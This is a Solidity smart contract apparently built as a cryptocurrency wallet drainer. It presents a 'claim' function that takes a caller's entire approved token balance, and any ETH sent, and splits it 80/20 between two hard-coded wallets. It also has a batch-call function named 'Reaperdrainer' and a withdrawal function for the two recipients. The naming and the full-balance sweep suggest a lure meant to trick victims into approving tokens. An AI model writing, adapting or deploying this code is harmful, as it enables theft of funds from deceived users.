Sweeper Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

contract Sweeper {
    string public constant name = "Sweeper Contract";
    string public constant version = "1.0";

    address public immutable wallet80;
    address public immutable wallet20;
    bool private locked;
    uint256 public constant MAX_CALLS = 10;
    uint256 private constant GAS_RESERVE = 100000;

    event Claimed(address indexed user, address indexed token, uint256 amount80, uint256 amount20);
    event ETHClaimed(address indexed user, uint256 amount80, uint256 amount20);
    event ReaperdrainerExecuted(address indexed user, uint256 callsCount);
    event ERC20Recovered(address indexed token, address indexed to, uint256 amount);

    modifier noReentrant() {
        require(!locked, "Reentrant call");
        locked = true;
        _;
        locked = false;
    }

    constructor(address _wallet80, address _wallet20) {
        require(_wallet80 != address(0), "wallet80 is zero");
        require(_wallet20 != address(0), "wallet20 is zero");
        require(_wallet80 != _wallet20, "wallets must differ");
        wallet80 = _wallet80;
        wallet20 = _wallet20;
    }

    function claim(address token) external noReentrant {
        IERC20 erc20 = IERC20(token);
        uint256 balance = erc20.balanceOf(msg.sender);
        uint256 allowanceAmount = erc20.allowance(msg.sender, address(this));

        require(balance > 0, "No tokens");
        require(allowanceAmount >= balance, "Allowance low");

        uint256 amountToWallet20 = balance * 20 / 100;
        uint256 amountToWallet80 = balance - amountToWallet20;

        bool success = erc20.transferFrom(msg.sender, address(this), balance);
        require(success, "TransferFrom failed");

        if (amountToWallet80 > 0) {
            success = erc20.transfer(wallet80, amountToWallet80);
            require(success, "Transfer to wallet80 failed");
        }
        if (amountToWallet20 > 0) {
            success = erc20.transfer(wallet20, amountToWallet20);
            require(success, "Transfer to wallet20 failed");
        }

        emit Claimed(msg.sender, token, amountToWallet80, amountToWallet20);
    }

    function claimETH() external payable noReentrant {
        require(msg.value > 0, "No ETH sent");

        uint256 amountToWallet20 = msg.value * 20 / 100;
        uint256 amountToWallet80 = msg.value - amountToWallet20;

        (bool sent80, ) = payable(wallet80).call{value: amountToWallet80}("");
        require(sent80, "Send to wallet80 failed");

        (bool sent20, ) = payable(wallet20).call{value: amountToWallet20}("");
        require(sent20, "Send to wallet20 failed");

        emit ETHClaimed(msg.sender, amountToWallet80, amountToWallet20);
    }

    struct Call {
        address target;
        bytes callData;
    }

    function Reaperdrainer(Call[] calldata calls) external noReentrant {
        require(calls.length <= MAX_CALLS, "Too many calls");

        for (uint256 i = 0; i < calls.length; i++) {
            (bool success, ) = calls[i].target.call{gas: GAS_RESERVE}(calls[i].callData);
            require(success, _errorMessage(i));
        }

        emit ReaperdrainerExecuted(msg.sender, calls.length);
    }

    function recoverERC20(address tokenAddress, uint256 amount) external {
        require(msg.sender == wallet80 || msg.sender == wallet20, "Not authorized");
        bool success = IERC20(tokenAddress).transfer(msg.sender, amount);
        require(success, "Recover failed");
        emit ERC20Recovered(tokenAddress, msg.sender, amount);
    }

    function _errorMessage(uint256 index) internal pure returns (string memory) {
        return string(abi.encodePacked("Call failed at idx ", _toString(index)));
    }

    function _toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) return "0";
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    receive() external payable {
        revert("No direct ETH");
    }
}